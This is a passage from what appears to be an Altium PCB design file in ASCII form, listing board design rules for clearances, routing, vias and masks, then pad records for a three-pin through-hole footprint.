ZE=40mil|MAXSIZE=100mil|PREFEREDSIZE=60mil|MINHOLESIZE=0mil|MAXHOLESIZE=40mil|PREFEREDHOLESIZE=32mil|TESTPOINTGRID=1mil|ALLOWSIDETOP=TRUE|ALLOWSIDEBOTTOM=TRUE|USEGRID=TRUE|GRIDTOLERANCE=0.01mil\r\n|RECORD=Rule|INDEXFORSAVE=19|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=FabricationTestpoint|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=FabricationTestpoint|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|SIDE=3|TESTPOINTUNDERCOMPONENT=TRUE|MINSIZE=40mil|MAXSIZE=100mil|PREFEREDSIZE=60mil|MINHOLESIZE=0mil|MAXHOLESIZE=40mil|PREFEREDHOLESIZE=32mil|TESTPOINTGRID=1mil\r\n|RECORD=DXPRule|INDEXFORSAVE=20|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=FabricationTestPointUsage|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=FabricationTestPointUsage|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=EIRQOERV|DEFINEDBYLOGICALDOCUMENT=FALSE|VALID=0|ALLOWMULTIPLE=FALSE\r\n|RECORD=Rule|INDEXFORSAVE=20|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=FabricationTestPointUsage|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=FabricationTestPointUsage|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|VALID=0|ALLOWMULTIPLE=FALSE\r\n|RECORD=DXPRule|INDEXFORSAVE=21|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=RoutingTopology|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=RoutingTopology|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=XSNTLGPO|DEFINEDBYLOGICALDOCUMENT=FALSE|TOPOLOGY=Shortest\r\n|RECORD=Rule|INDEXFORSAVE=21|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=RoutingTopology|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=RoutingTopology|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|TOPOLOGY=Shortest\r\n|RECORD=DXPRule|INDEXFORSAVE=22|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=SolderMaskExpansion|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=SolderMaskExpansion|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=HKSUQFJD|DEFINEDBYLOGICALDOCUMENT=FALSE|EXPANSION=4mil\r\n|RECORD=Rule|INDEXFORSAVE=22|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=SolderMaskExpansion|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=SolderMaskExpansion|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|EXPANSION=4mil\r\n|RECORD=DXPRule|INDEXFORSAVE=23|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=PasteMaskExpansion|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=PasteMaskExpansion|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=YQLUVIFO|DEFINEDBYLOGICALDOCUMENT=FALSE|EXPANSION=0mil\r\n|RECORD=Rule|INDEXFORSAVE=23|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=PasteMaskExpansion|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=PasteMaskExpansion|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|EXPANSION=0mil\r\n|RECORD=DXPRule|INDEXFORSAVE=24|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=RoutingVias|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=RoutingVias|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=OLHWBYQY|DEFINEDBYLOGICALDOCUMENT=FALSE|HOLEWIDTH=28mil|WIDTH=50mil|VIASTYLE=Through Hole|MINHOLEWIDTH=28mil|MINWIDTH=50mil|MAXHOLEWIDTH=28mil|MAXWIDTH=50mil\r\n|RECORD=Rule|INDEXFORSAVE=24|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=RoutingVias|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=RoutingVias|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|HOLEWIDTH=28mil|WIDTH=50mil|VIASTYLE=Through Hole|MINHOLEWIDTH=28mil|MINWIDTH=50mil|MAXHOLEWIDTH=28mil|MAXWIDTH=50mil\r\n|RECORD=DXPRule|INDEXFORSAVE=25|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=RoutingCorners|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=RoutingCorners|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=EEXDRFJE|DEFINEDBYLOGICALDOCUMENT=FALSE|CORNERSTYLE=45-Degree|MINSETBACK=100mil|MAXSETBACK=100mil\r\n|RECORD=Rule|INDEXFORSAVE=25|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=RoutingCorners|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=RoutingCorners|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|CORNERSTYLE=45-Degree|MINSETBACK=100mil|MAXSETBACK=100mil\r\n|RECORD=DXPRule|INDEXFORSAVE=26|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=RoutingLayers|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=RoutingLayers|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=GPADJHTY|DEFINEDBYLOGICALDOCUMENT=FALSE|TOP LAYER_V5=TRUE|MID LAYER 1_V5=TRUE|MID LAYER 2_V5=TRUE|MID LAYER 3_V5=TRUE|MID LAYER 4_V5=TRUE|MID LAYER 5_V5=TRUE|MID LAYER 6_V5=TRUE|MID LAYER 7_V5=TRUE|MID LAYER 8_V5=TRUE|MID LAYER 9_V5=TRUE|MID LAYER 10_V5=TRUE|MID LAYER 11_V5=TRUE|MID LAYER 12_V5=TRUE|MID LAYER 13_V5=TRUE|MID LAYER 14_V5=TRUE|MID LAYER 15_V5=TRUE|MID LAYER 16_V5=TRUE|MID LAYER 17_V5=TRUE|MID LAYER 18_V5=TRUE|MID LAYER 19_V5=TRUE|MID LAYER 20_V5=TRUE|MID LAYER 21_V5=TRUE|MID LAYER 22_V5=TRUE|MID LAYER 23_V5=TRUE|MID LAYER 24_V5=TRUE|MID LAYER 25_V5=TRUE|MID LAYER 26_V5=TRUE|MID LAYER 27_V5=TRUE|MID LAYER 28_V5=TRUE|MID LAYER 29_V5=TRUE|MID LAYER 30_V5=TRUE|BOTTOM LAYER_V5=TRUE\r\n|RECORD=Rule|INDEXFORSAVE=26|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=RoutingLayers|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=RoutingLayers|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|TOP LAYER=Automatic|MID LAYER 1=Automatic|MID LAYER 2=Automatic|MID LAYER 3=Automatic|MID LAYER 4=Automatic|MID LAYER 5=Automatic|MID LAYER 6=Automatic|MID LAYER 7=Automatic|MID LAYER 8=Automatic|MID LAYER 9=Automatic|MID LAYER 10=Automatic|MID LAYER 11=Automatic|MID LAYER 12=Automatic|MID LAYER 13=Automatic|MID LAYER 14=Automatic|MID LAYER 15=Automatic|MID LAYER 16=Automatic|MID LAYER 17=Automatic|MID LAYER 18=Automatic|MID LAYER 19=Automatic|MID LAYER 20=Automatic|MID LAYER 21=Automatic|MID LAYER 22=Automatic|MID LAYER 23=Automatic|MID LAYER 24=Automatic|MID LAYER 25=Automatic|MID LAYER 26=Automatic|MID LAYER 27=Automatic|MID LAYER 28=Automatic|MID LAYER 29=Automatic|MID LAYER 30=Automatic|BOTTOM LAYER=Automatic\r\n|RECORD=DXPRule|INDEXFORSAVE=27|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=RoutingPriority|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=RoutingPriority|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=YNVHYVCP|DEFINEDBYLOGICALDOCUMENT=FALSE|ROUTINGPRIORITY=0\r\n|RECORD=Rule|INDEXFORSAVE=27|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=RoutingPriority|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=RoutingPriority|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|PRIORITY=0\r\n|RECORD=DXPRule|INDEXFORSAVE=28|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=Width|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=Width|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=SJMEQBVQ|DEFINEDBYLOGICALDOCUMENT=FALSE|MAXLIMIT=10mil|MINLIMIT=10mil|PREFEREDWIDTH=10mil\r\n|RECORD=Rule|INDEXFORSAVE=28|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=Width|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=Width|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|MAXLIMIT=10mil|MINLIMIT=10mil|PREFEREDWIDTH=10mil\r\n|RECORD=DXPRule|INDEXFORSAVE=29|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=PolygonConnect|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=PolygonConnect|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=LDMLAJCX|DEFINEDBYLOGICALDOCUMENT=FALSE|CONNECTSTYLE=Relief|RELIEFCONDUCTORWIDTH=10mil|RELIEFENTRIES=4|POLYGONRELIEFANGLE=90 Angle|AIRGAPWIDTH=10mil\r\n|RECORD=Rule|INDEXFORSAVE=29|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=PolygonConnect|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=PolygonConnect|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|CONNECTSTYLE=Relief|RELIEFCONDUCTORWIDTH=10mil|RELIEFENTRIES=4|POLYGONRELIEFANGLE=90 Angle\r\n|RECORD=DXPRule|INDEXFORSAVE=30|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=PlaneClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=PlaneClearance|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=YYATIKGH|DEFINEDBYLOGICALDOCUMENT=FALSE|CLEARANCE=20mil\r\n|RECORD=Rule|INDEXFORSAVE=30|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=PlaneClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=PlaneClearance|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|CLEARANCE=20mil\r\n|RECORD=DXPRule|INDEXFORSAVE=31|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=PlaneConnect|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=PlaneConnect|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=RQYIRGGW|DEFINEDBYLOGICALDOCUMENT=FALSE|PLANECONNECTSTYLE=Relief|RELIEFEXPANSION=20mil|RELIEFENTRIES=4|RELIEFCONDUCTORWIDTH=10mil|RELIEFAIRGAP=10mil\r\n|RECORD=Rule|INDEXFORSAVE=31|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=PlaneConnect|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=PlaneConnect|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|PLANECONNECTSTYLE=Relief|RELIEFEXPANSION=20mil|RELIEFENTRIES=4|RELIEFCONDUCTORWIDTH=10mil|RELIEFAIRGAP=10mil\r\n|RECORD=DXPRule|INDEXFORSAVE=32|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=Clearance|NETSCOPE=DifferentNets|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=Clearance|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=DRALLYKS|DEFINEDBYLOGICALDOCUMENT=FALSE|GAP=10mil|GENERICCLEARANCE=10mil|IGNOREPADTOPADCLEARANCEINFOOTPRINT=FALSE|OBJECTCLEARANCES=ClearanceObj_Arc-ClearanceObj_Hole:0;ClearanceObj_Track-ClearanceObj_Hole:0;ClearanceObj_SMDPad-ClearanceObj_Hole:0;ClearanceObj_THPad-ClearanceObj_Hole:0;ClearanceObj_Via-ClearanceObj_Hole:0;ClearanceObj_Fill-ClearanceObj_Hole:0;ClearanceObj_Poly-ClearanceObj_Hole:0;ClearanceObj_Region-ClearanceObj_Hole:0;ClearanceObj_Text-ClearanceObj_Hole:0\r\n|RECORD=Rule|INDEXFORSAVE=32|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=Clearance|NETSCOPE=DifferentNets|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=Clearance|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|GAP=10mil\r\n|RECORD=DXPRule|INDEXFORSAVE=33|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=UnRoutedNet|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=UnRoutedNet|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=PMXVKRAQ|DEFINEDBYLOGICALDOCUMENT=FALSE\r\n|RECORD=Rule|INDEXFORSAVE=33|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=UnRoutedNet|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=UnRoutedNet|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=\r\n|RECORD=DXPRule|INDEXFORSAVE=34|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=ShortCircuit|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=ShortCircuit|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=YDRPMLCH|DEFINEDBYLOGICALDOCUMENT=FALSE|ALLOWED=FALSE\r\n|RECORD=Rule|INDEXFORSAVE=34|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=ShortCircuit|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=ShortCircuit|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|ALLOWED=FALSE\r\n|RECORD=Pad|COMPONENT=0|INDEXFORSAVE=0|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=Rule|PASTEMASKEXPANSIONMODE=Rule|NAME=3|X=157.4803mil|Y=107.4803mil|XSIZE=78.74mil|YSIZE=39.37mil|SHAPE=ROUND|HOLESIZE=31.496mil|ROTATION= 0.00000000000000E+0000|PLATED=TRUE|DAISYCHAIN=Load|CCSV=0|CPLV=0|CCWV=1|CENV=1|CAGV=1|CPEV=1|CSEV=1|CPCV=1|CPRV=1|CCW=10mil|CEN=4|CAG=10mil|CPE=0mil|CSE=4mil|CPC=20mil|CPR=20mil|PADMODE=0|SWAPID_PAD=|SWAPID_GATE=|&|0|SWAPPEDPADNAME=|GATEID=0|OVERRIDEWITHV6_6SHAPES=FALSE|DRILLTYPE=0|HOLETYPE=0|HOLEWIDTH=0mil|HOLEROTATION= 0.00000000000000E+0000|PADXOFFSET0=0mil|PADYOFFSET0=0mil|PADXOFFSET1=0mil|PADYOFFSET1=0mil|PADXOFFSET2=0mil|PADYOFFSET2=0mil|PADXOFFSET3=0mil|PADYOFFSET3=0mil|PADXOFFSET4=0mil|PADYOFFSET4=0mil|PADXOFFSET5=0mil|PADYOFFSET5=0mil|PADXOFFSET6=0mil|PADYOFFSET6=0mil|PADXOFFSET7=0mil|PADYOFFSET7=0mil|PADXOFFSET8=0mil|PADYOFFSET8=0mil|PADXOFFSET9=0mil|PADYOFFSET9=0mil|PADXOFFSET10=0mil|PADYOFFSET10=0mil|PADXOFFSET11=0mil|PADYOFFSET11=0mil|PADXOFFSET12=0mil|PADYOFFSET12=0mil|PADXOFFSET13=0mil|PADYOFFSET13=0mil|PADXOFFSET14=0mil|PADYOFFSET14=0mil|PADXOFFSET15=0mil|PADYOFFSET15=0mil|PADXOFFSET16=0mil|PADYOFFSET16=0mil|PADXOFFSET17=0mil|PADYOFFSET17=0mil|PADXOFFSET18=0mil|PADYOFFSET18=0mil|PADXOFFSET19=0mil|PADYOFFSET19=0mil|PADXOFFSET20=0mil|PADYOFFSET20=0mil|PADXOFFSET21=0mil|PADYOFFSET21=0mil|PADXOFFSET22=0mil|PADYOFFSET22=0mil|PADXOFFSET23=0mil|PADYOFFSET23=0mil|PADXOFFSET24=0mil|PADYOFFSET24=0mil|PADXOFFSET25=0mil|PADYOFFSET25=0mil|PADXOFFSET26=0mil|PADYOFFSET26=0mil|PADXOFFSET27=0mil|PADYOFFSET27=0mil|PADXOFFSET28=0mil|PADYOFFSET28=0mil|PADXOFFSET29=0mil|PADYOFFSET29=0mil|PADXOFFSET30=0mil|PADYOFFSET30=0mil|PADXOFFSET31=0mil|PADYOFFSET31=0mil|PADJUMPERID=0|UNIQUEID=FTDXMXAD\r\n|RECORD=Pad|COMPONENT=0|INDEXFORSAVE=1|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=Rule|PASTEMASKEXPANSIONMODE=Rule|NAME=2|X=157.4803mil|Y=157.4803mil|XSIZE=78.74mil|YSIZE=39.37mil|SHAPE=ROUND|HOLESIZE=31.496mil|ROTATION= 0.00000000000000E+0000|PLATED=TRUE|DAISYCHAIN=Load|CCSV=0|CPLV=0|CCWV=1|CENV=1|CAGV=1|CPEV=1|CSEV=1|CPCV=1|CPRV=1|CCW=10mil|CEN=4|CAG=10mil|CPE=0mil|CSE=4mil|CPC=20mil|CPR=20mil|PADMODE=0|SWAPID_PAD=|SWAPID_GATE=|&|0|SWAPPEDPADNAME=|GATEID=0|OVERRIDEWITHV6_6SHAPES=FALSE|DRILLTYPE=0|HOLETYPE=0|HOLEWIDTH=0mil|HOLEROTATION= 0.00000000000000E+0000|PADXOFFSET0=0mil|PADYOFFSET0=0mil|PADXOFFSET1=0mil|PADYOFFSET1=0mil|PADXOFFSET2=0mil|PADYOFFSET2=0mil|PADXOFFSET3=0mil|PADYOFFSET3=0mil|PADXOFFSET4=0mil|PADYOFFSET4=0mil|PADXOFFSET5=0mil|PADYOFFSET5=0mil|PADXOFFSET6=0mil|PADYOFFSET6=0mil|PADXOFFSET7=0mil|PADYOFFSET7=0mil|PADXOFFSET8=0mil|PADYOFFSET8=0mil|PADXOFFSET9=0mil|PADYOFFSET9=0mil|PADXOFFSET10=0mil|PADYOFFSET10=0mil|PADXOFFSET11=0mil|PADYOFFSET11=0mil|PADXOFFSET12=0mil|PADYOFFSET12=0mil|PADXOFFSET13=0mil|PADYOFFSET13=0mil|PADXOFFSET14=0mil|PADYOFFSET14=0mil|PADXOFFSET15=0mil|PADYOFFSET15=0mil|PADXOFFSET16=0mil|PADYOFFSET16=0mil|PADXOFFSET17=0mil|PADYOFFSET17=0mil|PADXOFFSET18=0mil|PADYOFFSET18=0mil|PADXOFFSET19=0mil|PADYOFFSET19=0mil|PADXOFFSET20=0mil|PADYOFFSET20=0mil|PADXOFFSET21=0mil|PADYOFFSET21=0mil|PADXOFFSET22=0mil|PADYOFFSET22=0mil|PADXOFFSET23=0mil|PADYOFFSET23=0mil|PADXOFFSET24=0mil|PADYOFFSET24=0mil|PADXOFFSET25=0mil|PADYOFFSET25=0mil|PADXOFFSET26=0mil|PADYOFFSET26=0mil|PADXOFFSET27=0mil|PADYOFFSET27=0mil|PADXOFFSET28=0mil|PADYOFFSET28=0mil|PADXOFFSET29=0mil|PADYOFFSET29=0mil|PADXOFFSET30=0mil|PADYOFFSET30=0mil|PADXOFFSET31=0mil|PADYOFFSET31=0mil|PADJUMPERID=0|UNIQUEID=QXVTVCTY\r\n|RECORD=Pad|COMPONENT=0|INDEXFORSAVE=2|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=Rule|PASTEMASKEXPANSIONMODE=Rule|NAME=1|X=157.4803mil|Y=207.4803mil|XSIZE=78.7402mil|YSIZE=39.3701mil|SHAPE=ROUND|HOLESIZE=31.4961mil|ROTATION= 0.00000000000000E+0000|PLATED=TRUE|DAISYCHAIN=Load|CCSV=0|CPLV=0|CCWV=1|CENV=1|CAGV=1|CPEV=1|CSEV=1|CPCV=1|CPRV=1|CCW=10mil|CEN=4|CAG=10mil|CPE=0mil|CSE=4mil|CPC=20mil|CPR=20mil|PADMODE=0|SWAPID_PAD=|SWAPID_GATE=|&|0|SWAPPEDPADNAME=|GATEID=0|OVERRIDEWITHV6_6SHAPES=FALSE|DRILLTYPE=0|HOLETYPE=0|HOLEWIDTH=0mil|HOLEROTATION= 0.00000000000000E+0000|PADXOFFSET0=0mil|PADYOFFSET0=0mil|PADXOFFSET1=0mil|PADYOFFSET1=0mil|PADXOFFSET2=0mil|PADYOFFSET2=0mil|PADXOFFSET3=0mil|PADYOFFSET3=0mil|PADXOFFSET4=0mil|PADYOFFSET4=0mil|PADXOFFSET5=0mil|PADYOFFSET5=0mil|PADXOFFSET6=0mil|PADYOFFSET6=0mil|PADXOFFSET7=0mil|PADYOFFSET7=0mil|PADXOFFSET8=0mil|PADYOFFSET8=0mil|PADXOFFSET9=0mil|PADYOFFSET9=0mil|PADXOFFSET10=0mil|PADYOFFSET10=0mil|PADXOFFSET11=0mil|PADYOFFSET11=0mil|PADXOFFSET12=0mil|PADYOFFSET12=0mil|PADXOFFSET13=0mil|PADYOFFSET13=0mil|PADXOFFSET14=0mil|PADYOFFSET14=0mil|PADXOFFSET15=0mil|PADYOFFSET15=0mil|PADXOFFSET16=0mil|PADYOFFSET16=0mil|PADXOFFSET17=0mil|PADYOFFSET17=0mil|PADXOFFSET18=0mil|PADYOFFSET18=0mil|PADXOFFSET19=0mil|PADYOFFSET19=0mil|PADXOFFSET20=0mil|PADYOFFSET20=0mil|PADXOFFSET21=0mil|PADYOFFSET21=0mil|PADXOFFSET22=0mil|PADYOFFSET22=0mil|PADXOFFSET23=0mil|PADYOFFSET23=0mil|PADXOFFSET24=0mil|PADYOFFSET24=0mil|PADXOFFSET25=0mil|PADYOFFSET25=0mil|PADXOFFSET26=0mil|PADYOFFSET26=0mil|PADXOFFSET27=0mil|PADYOFFSET27=0mil|PADXOFFSET28=0mil|PADYOFFSET28=0mil|PADXOFFSET29=0mil|PADYOFFSET29=0mil|PADXOFFSET30=0mil|PADYOFFSET30=0mil|PADXOFFSET31=0mil|PADYOFFSET31=0mil|PADJUMPERID=0|UNIQUEID=MNBNLVGK\r\n|RECORD=Track|INDEXFORSAVE=0|SELECTION=FALSE|LAYER=MECHANICAL1|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|S